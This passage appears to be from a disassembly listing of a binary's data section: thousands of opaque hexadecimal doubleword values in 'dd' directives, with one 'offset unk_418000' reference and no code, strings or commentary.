6EF6AEE0h, 85031145h, 4E058EAAh, 4D8C2A33h, 0B44E6BE1h dd 8C105B8Ah, 675D5CA3h, 0F750168Bh, 150F8B76h, 44C1825h dd 0E422D4B4h, 281A0916h, 0EC22F519h, 28222D3Ch, 45E5E491h dd 0F6DC2D80h, 6F4D7713h, 7B461277h, 47B7B7F5h, 8A87AD77h dd 1E163D3Eh, 34EBBCBFh, 9BECEBD5h, 0D3D8CCF2h, 0F3D12FD3h dd 3490FBFBh, 6466BE06h, 9C2F1470h, 3041F518h, 0AECC70CBh dd 44629D82h, 9863DADBh, 7A33E8A0h, 6B017D07h, 67DE7034h dd 90D6BED5h, 0F35E6CE1h, 5807B5Fh, 8394B95h, 200DDC9Eh dd 5425EF72h, 6AC22BC9h, 0F47C6AE0h, 0F2BC6940h, 0E3DE23C8h dd 1409FD26h, 11259E02h, 763D4AB8h, 0AEE05D94h, 6EC2BCF7h dd 0CE2E7A81h, 0B761BA2Bh, 0D91C30D1h, 82AB0C34h, 0F290150Dh dd 497A064Ch, 4E06DE0Fh, 0C0DE87C3h, 2466D043h, 4AE3BBE5h dd 98141846h, 0F0780AEEh, 76483BA8h, 0FD2E7415h, 0F6EC8F21h dd 44BF0FE1h, 0C4D172Ch, 985CF156h, 0E18A983h, 85E15FC6h dd 62AC1303h, 4F5AB68Ah, 980D73DFh, 0DABB948Bh, 0B4F72E33h dd 650D8C2Dh, 9C0B223Bh, 7A05B53Ah, 12BB99C0h, 0D3DC2CE8h dd 0AF7D6736h, 5B39AF66h, 51459D90h, 60A2ED60h, 0ECF4C0CAh dd 0F2EC57B1h, 2B576347h, 1433C13Bh, 301CC598h, 77240072h dd 20CB8F7Ah, 5450D267h, 0E4C1098Bh, 4982C5B2h, 14D489A4h dd 7E4A0C61h, 0C2E824A2h, 0A5201D4Ah, 9E863323h, 941979EAh dd 0CBC3FCFh, 0FB3E0BC6h, 850031E3h, 67E5D366h, 81355C38h dd 0A9331D84h, 2C2ED489h, 3F302E6h, 44CF7498h, 604743E2h dd 8524ACCAh, 6EC1147Eh, 1A3387BAh, 0A7E0EC68h, 0B069401Eh dd 0C1F4523h, 0F0532AC0h, 33B003CAh, 0DC8F4AF8h, 57E3E182h dd 1B28DB04h, 7986E540h, 1C901B9h, 1DDD703Dh, 5605163Ch dd 8371844Ch, 0B42840F9h, 1E2A8355h, 3162CB88h, 0B8DBE7CEh dd 0EF68DB71h, 9F8843CBh, 2AAA0C50h, 0D999319Ch, 0A8FB8198h dd 899482F6h, 876EA459h, 6449A004h, 610C213Bh, 427998D4h dd 26CC085Ch, 5B37FC86h, 455D4CA1h, 8033CE24h, 23AC46Fh dd 69F1ACAh, 9D75B709h, 0C9E6CE60h, 0B2244DA8h, 0D181613Ch dd 0D066CA30h, 19285660h, 0AF8000EEh, 2A800717h, 63790D60h dd 6752D586h, 0F84C3DDBh, 8A5254A1h, 7DB8CB8Dh, 7DA03CCAh dd 1A3204CAh, 8B9F0F30h, 0AE173495h, 0AEEDCF76h, 31814023h dd 11964624h, 0E42916E3h, 268AB03Ah, 3039369Fh, 5E35A253h dd 86D3D2EFh, 37D787C9h, 31111294h, 0E46F494h, 829AE308h dd 50021182h, 333F67E9h, 52D84C68h, 0FF7CA643h, 426085F2h dd 0FDFD7DEBh, 7D94D48h, 9A6D0D2Bh, 3E98E47h, 0DC034C4Dh dd 0A1A8A101h, 0B0651006h, 0D1D4A633h, 0CB811315h, 0E186657h dd 0DD4CEFA7h, 0CC12AF2Dh, 8822F323h, 0A3CC29E7h, 0D60CC50Eh dd 20E3E067h, 394AEE6h, 36B0493h, 0A230888Bh, 958F0C7Dh dd 9F5AA050h, 0CA34123h, 3120145Ah, 3B877B46h, 9581D81Bh dd 15624522h, 0D0477AE3h, 0DBE3C0ADh, 0F37202BEh, 0AAD08A2Bh dd 0E4014303h, 9E5D85F1h, 0EB99941Bh, 119B8ACBh, 68915F44h dd 0B9D968Fh, 80CC4AA3h, 0FAEF481Bh, 765F298Bh, 0D965C066h dd 0E5BA8AC8h, 0CCA6B997h, 8D17B4A2h, 1419C0B1h, 30EACEDBh dd 1FBEE2B7h, 78F4B7C5h, 6687D0E4h, 90B5D26h, 0FC95C3E4h dd 2155FC14h, 9835D6E8h, 2D9BF59Ch, 7DA9878Ah, 653A1AF4h dd 4FC13314h, 355723C4h, 0BCA25F55h, 0E1CA356Eh, 0A8ABAF7Dh dd 40C8A6AAh, 8823A703h, 2B7DA2D4h, 2EA6FE4Dh, 0DF72110Bh dd 0A2484F2Ah, 56E81D58h, 0B9A643A5h, 82325A04h, 97327970h dd 4D7D3A76h, 0FE5CC76Bh, 1DFA54D2h, 556E4C15h, 0A2C16251h dd 170F952h, 0CCC7BA5h, 6DE88D46h, 39F8AABFh, 5981BB07h dd 91735C9Ch, 0D18EBD05h, 597D3F9Fh, 16146618h, 0CCFB48F7h dd 2AEF3E61h, 1BE7C42Bh, 0B2CC0F90h, 0AA2DCF31h, 407C1232h dd 0ED6AC3AEh, 0CC3BAE44h, 0F9B83D68h, 0ED0DF616h, 61E9EE2Bh dd 7EB133BFh, 0DF0815FFh, 0CD78BF45h, 0C03164FFh, 0AF8C8CA1h dd 66F1C02Eh, 10EE0301h, 4F1C2B50h, 49EE12B4h, 1690C4D3h dd 0F61574CCh, 0C34914D2h, 83DE78A0h, 2AEA803Dh, 233580D4h dd 316EBAA5h, 1F6AE57Eh, 9F875BB8h, 2887E022h, 8069D63Bh dd 81DDB430h, 0F177D59Dh, 0D397B2E9h, 0A0B4E52Fh, 23C7D25Ah dd 0FF8A4243h, 5A9500AEh, 6A88964Bh, 0ABCE6F1h, 79765A37h dd 3924DB5h, 4D2FADC6h, 7C5AF9EAh, 8747B6D5h, 238ACA4h dd 116EC0F6h, 0CC4914F1h, 56F0422Dh, 71897DBBh, 0BACE7B91h dd 3D693A2Ch, 0C0C11A6Fh, 7BD0A7E7h, 0ABCC84A5h, 5486CF6Ah dd 476C4404h, 0B76503C5h, 0A1BA2EBAh, 243F3083h, 82F71305h dd 0BA537D84h, 8131FDCAh, 1636B4B5h, 5FEE4148h, 496C0BD4h dd 0B1AEC7E6h, 0B42DAA44h, 9CCC6C67h, 25FCA04Dh, 5F0EA217h dd 191419B1h, 0C3B86C02h, 9E4F959Ah, 0A6C98803h, 0F4B07A4Eh dd 0ACBC8BD6h, 54CAD8A2h, 8C9AB4EDh, 0FD268091h, 0F228832Dh dd 22F9CD80h, 0EF2E804h, 0EA319713h, 0B2A9BE03h, 3BEBD903h dd 99CBEA40h, 47EAD7BBh, 0C32B2A60h, 773DD6C2h, 0D5D09D93h dd 2625C885h, 324C1DC0h, 0DD897534h, 0F4D4A5A7h, 0A132AE60h dd 23F62579h, 2729C887h, 0BEA28943h, 1FE518E1h, 1151A3F1h dd 811F82C8h, 29188B44h, 0AFB28E7Fh, 0F07765FCh, 9DC52368h dd 151A55E3h, 3EA35580h, 0FFFCF89h, 5C4431A7h, 0F0062596h dd 0DB44F4BEh, 36B1F708h, 8DA46D82h, 23671B50h, 8D946D0h dd 823611B3h, 6120446Ch, 1DE312Eh, 0F00820C4h, 6BC21006h dd 26D8D7C4h, 8CF535D0h, 0A64901CAh, 28A69506h, 5102117h dd 0B41107D2h, 1063BE8Ch, 257CB0B0h, 100DB9FBh, 49BE8C5Fh dd 50E10AF8h, 0C11ACE91h, 68618C0Dh, 4A9D88Dh, 924839E0h dd 4F4AE2E8h, 8018A42Dh, 7D2F14C8h, 861C326h, 5E27BFC4h dd 5C510BE8h, 0D354AEA0h, 0BA3E2B80h, 4EC44016h, 217C9F51h dd 0D3EF5403h, 2B69BAFh, 0C880F307h, 7D140F8h, 0A761AC42h dd 8401B943h, 0DD892B77h, 62210852h, 88A0CAC0h, 4A191B04h dd 13EC109Dh, 91ADF7EDh, 0C4160CAh, 0AB0AF0A2h, 881EE953h dd 1046EC61h, 16808A25h, 0F5D0EC31h, 68A243D3h, 0B3105881h dd 45BE4C4Fh, 2262D96h, 0BF330946h, 104A8881h, 32ED109Dh dd 9A60E94h, 5E1C01A7h, 0B232F8Dh, 604FE63Fh, 6A9C204Dh dd 0C826AAF5h, 0D1C6CFFEh, 618A5F4Ah, 548E698Ah, 4AB0A306h dd 181C2414h, 391CEA47h, 750A48C2h, 16EB498Bh, 8E838813h dd 8D5C4413h, 0C9F65D51h dd 7542E8FAh, 5BDF49B1h, 0E234FB6Ch, 8A271468h, 0A9F76116h dd 99A94413h, 0B18453ECh, 6AC05EAFh, 11AAD5C4h, 0C46A0DD5h dd 111A08D4h, 3C464235h, 4D11808Dh, 0D2849C23h, 214DA608h dd 50526923h, 57916A35h, 0BDB13C6h, 1A02485Fh, 37E100B3h dd 94422D20h, 9157932Dh, 5CF00BA4h, 0A13C1E8Bh, 2EB7A38Bh dd 0EA633764h, 0AA560634h, 79446AA7h, 82458B07h, 0EB5A288h dd 5684F262h, 0D20676Ch, 3D1A3D8Fh, 65269F00h, 5EBA03AFh dd 5E8C17EDh, 5E45C515h, 654E23F1h, 42AC55Fh, 436B5D1Dh dd 2863AB92h, 8E42B93Ch, 0E0E7B7E1h, 0FBA4C537h, 0ED1BEEA7h dd 54F1C87h, 68588B9Dh, 8D23C909h, 1D98B9A0h, 34631F1Ch dd 5C782F31h, 7CB56D62h, 845D36D1h, 0BE4A03Ch, 508321B8h dd 0C0F09161h, 2B213106h, 54DFD070h, 880D721Dh, 5677B210h dd 81C5D20Fh, 84E8E541h, 0BE268D31h, 94089D20h, 0E1819C17h dd 5461430Ah, 0C8843461h, 86F42542h, 2A5EC1C1h, 63806072h dd 368DED0Ch, 0AF215D6h, 0C04685C1h, 461281D1h, 0B4E88A23h dd 11C06207h, 32F0E811h, 4389A390h, 0D73ED8D5h, 0B300207h dd 2FA8E1B2h, 7B3E132Ah, 0E2A1C062h, 941328A6h, 22C07376h dd 1220FD07h, 0AE1h, 60000000h, 70000001h, 434A0041h, 1000h dd 0 dd 20C4AFB0h, 12244046h, 4494C92Ah, 325584ADh, 495E92C8h dd 25A24BE5h, 7C4001B6h, 0D7A020D2h, 8E312Ch, 25684ABh dd 4953129Fh, 25284A30h, 94192FC5h, 0E50F625Dh, 0C4BA0970h dd 92DA25A0h, 4B8C1037h, 0C4AD8955h, 92A52520h, 4A1497F2h dd 0F087A004h, 7C097312h, 0DF25A84Bh, 3494CAFCh, 872AF687h dd 692F625Fh, 0C48E898Fh, 0C07480C6h, 2C023264h, 0A8495712h dd 0B6257E4Ah, 682C39A0h, 21C72560h, 0BE215001h, 1A225384h dd 0A3C94492h, 0D95EDB93h, 3E0DE17Eh, 460836h, 31A011B1h dd 0F0D6004h, 7B17642Ah, 434801h, 19D25304h, 0A4C94712h dd 8925024Bh, 0E57743CCh, 97512E02h, 5B84B609h, 6A12CF25h dd 944B1095h, 0F92BA256h, 0C4AC8957h, 12AA254Ah, 4A8094E1h dd 29725244h, 0A3894492h, 8425FEBBh, 21F64BD8h, 97892F25h dd 0F5AD3390h, 1980023h, 610B38DAh, 1740046Fh, 0C96292D9h dd 25C05313h, 0A0816397h, 113E945h, 928AA502h, 4A269415h dd 28525174h, 0A1894CD2h, 0B7A5384Ah, 24940D2Bh, 825094A6h dd 89419285h, 0A5104A10h, 94512BA2h, 5114B04Ah, 8539021h dd 0B9808C35h, 0A838012Fh, 54402D2Bh, 0FF005A4Eh, 528046BEh dd 2200C08h, 572CAA18h, 0A2A8E79Eh, 0D54123FDh, 11006E2h dd 810F6C04h, 7E172420h, 0B6F42717h, 3430C043h, 70EF3100h dd 0C688C189h, 0C0B930C6h, 337D27h, 61851E0Fh, 2F030A59h dd 6485E84h, 5CD17241h, 734F03CAh, 50C29482h, 0B938CC1h dd 12B83123h, 0CCB8A6C2h, 0DEC386F0h, 8450B8Ah, 43024BAh dd 2C3136A2h, 8D10A441h, 290B0E41h, 859065CAh, 9CC296C0h dd 106F9758h, 0B3235D9h, 478A2971h, 595234C2h, 998E4BE8h dd 9662E88Eh, 5C2F8810h, 660590A0h, 31477981h, 47B01436h dd 847B74F1h, 24143384h, 7BB00A3Dh, 0A19830h, 0A74FAFC8h dd 722E255Bh, 0E1D9E685h, 0F7FB7502h, 3F74B958h, 0EE179028h dd 0DF225B2Ch, 0B6E43226h, 0EDB61344h, 0ADF6342Bh, 0C6ECD72Bh dd 292020CBh, 82417261h, 37C144B7h, 176C80Ah, 0B9BB49Ch dd 3F662343h, 37630B9Bh, 591CC84Dh, 5CCA0DEEh, 0D856EC20h dd 53641082h, 0F6513422h, 5C082EE1h, 70704C69h, 805017B7h dd 3029ABA0h, 66E038B5h, 0D19AB0D9h, 14D80080h, 17090904h dd 0F4C8745Bh, 0ED2101B5h, 11824229h, 6E18423Ch, 514200D0h dd 28D7406Bh, 0E66DCCF1h, 701A332Dh, 0AA001A73h, 620AD66Dh dd 49366AF1h, 691E1F89h, 1AF8F25Bh, 0C78282D3h, 8596D203h dd 84794080h, 0C805970h, 0BA18B40Ah, 4591B9CBh, 92893698h dd 142C46ACh, 0E25B681Fh, 0E07C048Eh, 0E40AECDAh, 0AA3C9C4Fh dd 0C94CE815h, 9A0D62A0h, 1862B40h, 810F4A64h, 901ED241h dd 0B3D0262h, 0A4DC3773h, 343C47A6h, 6C7449DDh, 0C5E08E59h dd 4326052Fh, 0B591766h, 0B3588E6Ch, 0E0DDBCDh, 34899C02h dd 30A0CC22h, 12377650h, 3CA4B470h, 4A877825h, 46B95841h dd 2290D498h, 469B53ABh, 50EA5549h, 70183615h, 2850C03Fh dd 41A4B718h, 1EA05332h, 0AFCCCA30h, 0C17C2344h, 0B285828Bh dd 451AD203h, 141230E8h, 1D4C0C00h, 0BCB8BC18h, 0B15D4181h dd 50169729h, 4828E68Ch, 0AE11A8C0h, 0EA82E16Dh, 6900F83Ah dd 540C8A20h, 44124292h, 1C00D0A0h, 0F8A30102h, 0A9281930h dd 0BD4D69B0h, 0C9BBC8C4h, 40A9EA53h, 0CC569758h, 0D1C6229h dd 0A76C866Dh, 839F4E6Ah, 0F8626EECh, 2D8CCC02h, 8CED1287h dd 75B9120Fh, 430C7D52h, 54E63563h, 161DC110h, 6D128AA5h dd 8D430E86h, 8C730F02h, 38B03C2Ch, 0CD125A47h, 0A08D81AFh dd 852866ADh, 585A718Dh, 0E85D6E16h, 0CB49F055h, 6D4E9D33h dd 678A280Ch, 70822C47h, 0A102A9A0h, 0A539683Eh, 9054433h dd 2F03ABADh, 1F343B15h, 0F2A6585h, 4C528A1Fh, 96F59929h dd 0E87018B8h, 5E5450CDh, 79169F46h, 524CC055h, 1B506C8h dd 48BB5635h, 22054C3Eh, 0D9C1551Ah, 8B90B85Eh, 5A6ADC84h dd 554CD898h, 2876512Dh, 2118A571h, 6F05E8A2h, 92CA550Ah dd 0DB4702BAh, 88C1CD4Dh, 6A6E6703h, 0D20E5575h, 270B22C8h dd 0C5CD9078h, 8EFE076Ch, 727D80C7h, 0FF02A9B7h, 62CC48A5h dd 0B1B219A7h, 4B084E52h, 6DD6656Fh, 5BBE0955h, 653B4B9Dh dd 0A4FDB9B2h, 448602h, 136E96DBh, 82C315C9h, 4BAEFD20h dd 0B0E1620Dh, 53B72A7h, 7468B2EAh, 0DB15182Ah, 85D0DDACh dd 0D3C0254Eh, 0E1616FF0h, 40A960B6h, 0A1C9766Bh, 0B2F3700Fh dd 5EA82136h, 3163B58Ah, 85D6DCE3h, 0B19A8154h, 4C8B25E6h dd 0A00203F8h, 0B310A4D0h, 1B01FB71h, 4C024BCh, 0BC3C30E6h dd 81AEB731h, 2681526Eh, 74251145h, 8119CE4Ah, 0A4B502C6h dd 9C9B4231h, 90883EA4h, 304DA942h, 97A0D8B9h, 14B7255h dd 36F89B5Eh, 238F5288h, 11A617D0h, 8D1D49A0h, 3B2ECC5Fh dd 0B29DC28Eh, 1CCB7112h, 0D03AADB9h, 0A3CB855Ah, 0D26AEF4Fh dd 0B32C20D5h, 0E8153584h, 16A72944h, 0F0349269h, 0A2CEA1C5h dd 0B352499Ch, 0E300C6A0h, 0B6425BAEh, 0CA468311h, 6D525AABh dd 584760A5h, 89C05B78h, 0C4C2C9E2h, 9736E583h, 10326B4Ch dd 0A953548Ah, 0AF00830Ah, 72E25A01h, 1C4516AEh, 29676A54h dd 0E294C739h, 3BAB02BBh, 0BD319417h, 1A99622Ch, 0AA0761B0h dd 0F18B8255h, 183A0B59h, 0C3F2EA0Ch, 0C3811F1h, 0A9881A60h dd 0D40949D2h, 0C6901453h, 56B42C36h, 77272CBCh, 5474287h dd 686A70E5h, 0B2E00314h, 0EBAB5A82h, 0F16305CAh, 0AD4C7719h dd 0D1393013h, 8288F1BAh, 52C9A97Ch, 7480E9E6h, 966DD0BDh dd 0D4437B20h, 94DE8076h, 3085E244h, 78A60BD5h, 8B13D808h dd 4A79B043h, 82711FC8h, 29374CC2h, 59CD19B5h, 2D98E29h dd 1B672556h, 0E6B5029Ah, 50AA59Bh, 4BA5487Ch, 6C20B0B1h dd 28A76CDEh, 0C11CB30Bh, 1596EA9h, 3C025BEDh, 0A141854Ch dd 0A0D8D670h, 1C1418A2h, 1012944Ah, 0B14A8525h, 0B59483C0h dd 6A768128h, 24348B07h, 8A3D40F8h, 7E90A330h, 0A33A9BD5h dd 65C14D26h, 0B4A13403h, 58E0B7Dh, 848F1414h, 0D67D0164h dd 4A08AA50h, 0CB1C4A28h, 945564C4h, 5941A1CAh, 0C304C4E3h dd 81E06238h, 0EA500955h, 683452B5h, 856202A5h, 2722D1Ch dd 4088D3CEh, 5168355Ah, 0A34228C0h, 3BBF8448h, 80000000h dd 0 dd offset unk_418000 dd 6000434Ah, 0 dd 30140000h, 0C01120E6h, 14481235h, 3ACFA025h, 37A701B4h dd 77DB0FFFh, 0C8A7D374h, 0FACE0C3Fh, 1C4DD7D9h, 3FE66078h dd 0CD7E96E7h, 33A5CB99h, 783C755Fh, 0DA1C75C7h, 0BFA9A229h dd 3EF9D753h, 73E9C5E2h, 773F7C7Eh, 96FACF7h, 5EC3594Ch dd 0CDBE264Bh, 0FDDE8EDFh, 3D4D133Dh, 0BBF06C75h, 273B5FCFh dd 0C9FF160Fh, 0ED3F5999h, 0D2E574B9h, 99CE8B61h, 5A4579F0h dd 0E6348F3Bh, 9A48F1Fh, 752EA073h, 62B70A4Bh, 17395641h dd 3183DD25h, 217B498Bh, 0F5A0D6EBh, 0B723BDA4h, 0E602B1F2h dd 12E2076Ch, 784D2CEAh, 4D6634EBh, 5DE31C62h, 50081C18h dd 10C4068h, 91E00A4Ah, 0CA1AEA12h, 2D2196B3h, 42E69053h dd 93A67817h, 0F588CACAh, 0A54BA883h, 9021D88h, 4D9BB4DBh dd 0A148916h, 925D6024h, 13903B6Dh, 56FB65BCh, 98785C2Eh dd 2021197Bh, 7ADA5A2Ch, 80707434h, 1AB1006h, 7851B02h dd 0CACB0B62h, 426070ADh, 0B7006102h, 0B18AB04Dh, 84CBB0B6h dd 68B74B85h, 263F2204h, 9C142050h, 0B1DD1681h, 8C050041h dd 9915ACDh, 0D85A12Bh, 4ACA2D23h, 1F00085h, 72D0784Ch dd 36F3346h, 0B73529C2h, 80A4B819h, 0C3B00203h, 83565A6Eh dd 8066A0A3h, 32B3A116h, 0CC2E565Dh, 185201E5h, 4BA11BABh dd 744C99A5h, 79954BC1h, 3665943Ch, 0DDECC51Bh, 53688588h dd 0C4184181h, 0CEDA32E8h, 0E4DD72DEh, 3287A552h, 0DE5901ABh dd 2C61A482h, 629092D7h, 235000D1h, 0B646814Bh, 8CF86C3Dh dd 89439ED9h, 145A8C06h, 0D2202411h, 0B1117182h, 95004028h dd 0DC886458h, 0EA096202h, 10940DE1h, 0CAC4D280h, 8DE38295h dd 0BC19A242h, 15BC45h, 41019D5Fh, 5B4C4F81h, 3B77413Ah dd 8CBA014Bh, 8C3113A1h, 343A97Ch, 7A2DE029h, 2F680E14h dd 60955241h, 66CA90h, 0C0164080h, 0ACD4C6BAh, 66220DF7h dd 0E58A0789h, 36671BD1h, 5E13F4E4h, 0ECA6B8C1h, 0BDDC0E12h dd 5AD4279Ah, 1BF23C41h, 0EDAB0A2h, 0D69628C5h, 28CC65F8h dd 0CB2CB98Ch, 979A7CB2h, 0C796A5A2h, 0C5AD5922h, 133EC84Ah dd 805C9603h, 39BE0B76h, 0B44ECC0Ah, 34917374h, 9D2032F2h dd 7400E01Ah, 2374B0E1h, 9E6295E0h, 0BBC7D78Ah, 0DA06049h dd 27D81407h, 5B5CECE3h, 749FC6ABh, 787CA1E8h, 28C285D5h dd 95F52C44h, 1B2B7CF6h, 6178F311h, 80081010h, 60D18DC5h dd 0C30741Dh, 53CC973Bh, 0B7E81C9Ch, 0A106360Ch, 5EFED418h dd 9B17A318h, 17375D25h, 0C730BBCh, 3383443Bh, 562FE023h dd 0A0E1D88Ah, 0A0492C77h, 800BB12Fh, 92B13C62h, 0E475A3ABh dd 51B9A975h, 2114D76h, 201E9851h, 8BD4A905h, 0A66F6AA3h dd 4D53EB41h, 81C079C3h, 7093381Eh, 57CFA2C7h, 0D819E332h dd 33AFA1CAh, 59989674h, 1CB5AC4h, 0C049C1D8h, 61A20B82h dd 0A69E848Ah, 22299888h, 9DA64A76h, 0A29885A0h, 38FA8A64h dd 5CA2D998h, 272A6067h, 313860D1h, 22C8DBA0h, 4E12FD02h dd 9EADD122h, 4DB46344h, 0C61978DAh, 4C9CF62Eh, 0F11C4D0Dh dd 8414FCEDh, 82733045h, 0AD6CD32Fh, 682F2CB9h, 87165D20h dd 700AE45h, 0A6A2602h, 6662300Bh, 0CB31E0E1h, 0E860EFB0h dd 9AC42280h, 616AB5Fh, 0A11CCA84h, 470AC94Dh, 463ECF64h dd 0A11AE607h, 5C360950h, 83B08D2Dh, 2B323F18h, 11D6B494h dd 0A580CE1Ah, 24603871h, 0B7C028D3h, 142F590Eh, 47DCE9Ah dd 89F9034h, 0F22A793Ch, 3806784Ch, 49C50B6h, 441A37DCh dd 64026A49h, 5CF99955h, 7F048B78h, 5D644BBBh, 2350C1F6h dd 2C83B612h, 0AC400645h, 507B435h, 20247C0Eh, 1882541h dd 0D980AE07h, 92E849h, 6EDE916Dh, 70F0B600h, 0B6960E56h dd 31613761h, 0DCE603F0h, 9940B6BBh, 57A755F9h, 9B1DCF23h dd 5B480FA8h, 0D861683Eh, 98609955h, 0B5667A82h, 292D4918h dd 90C314F0h, 50D3B70Bh, 5DC1B0D8h, 97507523h, 34C4200Ch dd 3B1D31A7h, 0D2F50E55h, 6209A0B2h, 830A2ADFh, 0A15DD6B4h dd 0C205E169h, 222C6CCAh, 7FB519B4h, 4461282Bh, 68B0529Fh dd 15620AA7h, 0C21583A5h, 1780C2DAh, 851056E6h, 86197EC1h dd 0C549DB1h, 2A0E9618h, 15846AA9h, 650E28Bh, 70F36814h dd 13850101h, 32405D16h, 2CA2F4Ah, 65045363h, 80529B66h dd 0D0149A92h, 86D6165Ch, 5B18AE02h, 13A2A592h, 9A9AE324h dd 4013755Ah, 560002C8h, 1340538Ch, 0E67C7571h, 0A9FAD824h dd 7C556C8h, 0A23A3CD6h, 9CDD95Bh, 2C4351C8h, 253397A9h dd 0C171BD31h, 31192385h, 0BBD94A7Ah, 6A9D5FE6h, 63309BF9h dd 84E51932h, 0B3699700h, 439BA3C2h, 80C1C150h, 870C9D60h dd 119DA466h, 820B301Ah, 3A611298h, 0A5190A2Dh, 99470F15h dd 0AD968212h, 8B909059h, 7D3CF72Ch, 22251828h, 0F7F28ACAh dd 0C35CADAh, 914D0493h, 31419EFh, 82F7A45Bh, 61914Ah dd 3E57B31h, 21E58516h, 0E5E4B005h, 85B51378h, 0A3A9A9Ch dd 0E789D8E3h, 4B9B6612h, 0F0259981h, 98EA6C2h, 1939A26h dd 84618B1Ch, 0CA61A74Ah, 22090C6Ch, 828D32ACh, 0A5B81011h dd 414C2296h, 50EA0640h, 244EA6A6h, 0B0CDA9D5h, 0E6188635h dd 25644008h, 94D122C4h, 74314AA8h, 310F2902h, 0F4122FA6h dd 9C4B2008h, 0B12ADE25h, 54C41095h, 4412E304h, 0CA91A489h dd 0DFE7F862h, 9D8E6014h, 0F4333A3Dh, 7E75672Bh, 0EFEFE2DEh dd 0C97B5E4Eh, 0ACB72F81h, 0A7C3B4D9h, 6F21F773h, 0ECB0841Eh dd 0BF97CAEDh, 0F931B88Fh, 0F0BC4F8Dh, 0DF13A26Ch, 68B52E3Eh dd 64BC9BF3h, 8603A54Ch, 0E56A1D6Fh, 0DF9EABF5h, 0A6F9B1F8h dd 0FC6FCBC5h, 8A2C6B3Eh, 0ABD8B65Dh, 0F05F9E67h, 4C0EF863h dd 0C4CB7638h, 9BCD17BBh, 2008E671h, 0B65876EBh, 4CC67A14h dd 674FFC41h, 0FC33DF2Eh, 996DF2EDh, 76C9FD5Fh, 3C297316h dd 77390F8Bh, 0EE25A5CEh, 3E07FB1Ch, 0E7C4A3CDh, 339CC067h dd 0A717DAEDh, 31020E76h, 426396FFh, 5B3C6518h, 0A7AC47B9h dd 0FC6CD76Bh, 546ED3E6h, 0AE9D2898h, 0C76EA7DCh, 0B439961Ch dd 284CB0BFh, 0BA0D5E76h, 3FE0BE35h, 3C78E63h, 0C6E56505h dd 30E9C5B1h, 0E4BF7F8Dh, 0FBB87D6h, 0CCF61B0Dh, 0FCF3CB82h dd 0C411F91Bh, 5789F460h, 9FF5CCD7h, 9B10B027h, 6C3336E2h dd 0EB880E7h, 4303DDAEh, 0F067B60Dh, 0BE3643FDh, 20CE303Dh dd 43C8ED44h, 0D91C90EEh, 43CDFDE1h, 6E9F3701h, 0C89DB778h dd 7479635Ah, 7A9FBECDh, 6F875B22h, 0BF18BEA3h, 7C0FFF6Ah dd 0ACC1FEA1h, 64B26B89h, 2EA3E3BDh, 0F831390Fh, 0B0DCD1CCh dd 693AC267h, 2B801E52h, 0CB78766Eh, 152E4256h, 9A39B85Bh dd 66BA826Bh, 0D42B533Bh, 4D8C5DDEh, 981C94DBh, 9BB7B9DBh dd 70C9BABh, 0B7203A16h, 74ABD0EEh, 0D71C6039h, 0CA600581h dd 0FD84AE3h, 9F0C60D0h, 0D854ED07h, 76D84250h, 4EC3EAC8h dd 18804EE8h, 0B2096726h, 75487006h, 33B27D06h, 1B05014Ah dd 33A50A02h, 0E406969Bh, 0F6F548E0h, 6397852Ch, 5C25EC64h dd 0BDD8268h, 81E9D62Bh, 98487116h, 610A0512h, 0C9C2A937h dd 7B60E4BCh, 0BE40B75h, 798A12CBh, 0FCFBB4B9h, 0B6719FB8h dd 9555E0CEh, 7B8D63B5h, 97A18354h, 0B7AA9C84h, 78A8CB52h dd 0BEA83F3Ch, 0A1A46981h, 8F8C67B8h, 3C12C43Bh, 6847B1F7h dd 0EE615CC0h, 0DC223F86h, 0B5577A4h, 780A6545h, 0DF8D8FC4h dd 9AB3FB32h, 25BA9EBFh, 6196C2C1h, 0F8DFC7B0h, 7FCCCA71h dd 95CD0C26h, 9B25C389h dd 9B857779h, 59F03BCFh, 0F3391D9Ch, 0A35BE76Ch, 0EFFE4DE6h dd 7A3298DCh, 3B408C28h, 25541412h, 979311CCh, 0A2D94A78h dd 14961EE7h, 9BFB6CD7h, 0B94FCB0Bh, 0E5817974h, 0F3BDD6EFh dd 0C313F664h, 0F901DE27h, 0F1CE95FFh, 9C7D0F01h, 3DBDE0BBh dd 0F25F8E2Fh, 9700DC6Ah, 85599DDFh, 71704F3Bh, 1EB7B0D7h dd 0DE797F3Dh, 30B935C8h, 3B750D7Ch, 0F9B40EF7h, 0C50FD8D2h dd 0E8B6DF32h, 9CE6793Ah, 67FC1F0Dh, 66336FCBh, 0F3603FAFh dd 0DCC3FDB3h, 0E4F87ED9h, 0C53C3839h, 0BC3CF6B4h, 35EAF802h dd 77FF9E1Bh, 499EC73h, 5CA73F97h, 2B915DAEh, 75F42CEEh dd 791DEFE9h, 0C79AFAA3h, 907777B7h, 866FD6B7h, 0D66508DAh dd 0BFCFC3B2h, 3CD7B73Bh, 1C6729ADh, 0C3A8ABC0h, 1B9591B1h dd 96DE48A7h, 0C0DCF1C7h, 777CEA5Ah, 0DF1B16FAh, 0C2E5F97Ch dd 725A0999h, 0C7DB7EBAh, 60371FC6h, 0C6A9CDFAh, 5DB09DCEh dd 0B4DEE183h, 823BEDFCh, 0E62F44C6h, 58DABC7Dh, 65E41053h dd 2AB587C3h, 28A6AC7h, 20B4350Ah, 2C75C109h, 9F53AB33h dd 5A476162h, 59D99D15h, 16BB965Dh, 925C0096h, 900701FDh dd 0C02C0180h, 28751624h, 0E96E7659h, 0D29B0AACh, 2A5D984h dd 6D9D48BDh, 50A54AC3h, 92073096h, 2129EC17h, 0B4DA4418h dd 34B1350Bh, 0C1A074F9h, 958DBAADh, 86F2CB6Dh, 687E30A5h dd 3F95CA9Dh, 0EA823E18h, 817BE012h, 0D616CD94h, 4F16AFADh dd 439C3D66h, 225B118h, 2CE87117h, 357AC14Ch, 0D2283495h dd 255C1108h, 0B5C2352Ah, 74330428h, 63F4E52Ah, 0EE181497h dd 245C3AA0h, 0C637A1BCh, 0DD25AC36h, 64AC6AE2h, 1991397Bh dd 35A281C1h, 4088D253h, 44A62AC5h, 9CCE1912h, 0A804D150h dd 2DD60246h, 4C1F3354h, 0DC48F905h, 46C448CFh, 54748531h dd 0E2915796h, 7E52C2Eh, 9B216B52h, 6C7D5A51h, 0DC18CA73h dd 11D554BCh, 91784165h, 608C28D6h, 305FBBBCh, 0B1DE2CA5h dd 258A1B28h, 0B95584Fh, 6286E198h, 5A563130h, 30B0559Ch dd 6A49AB39h, 0D588D4A8h, 115EFCBh, 6150BD98h, 0D94806EDh dd 0C6A6FCB3h, 2840D09Bh, 0F3DC1EA7h, 6EB502E2h, 5DCA46ABh dd 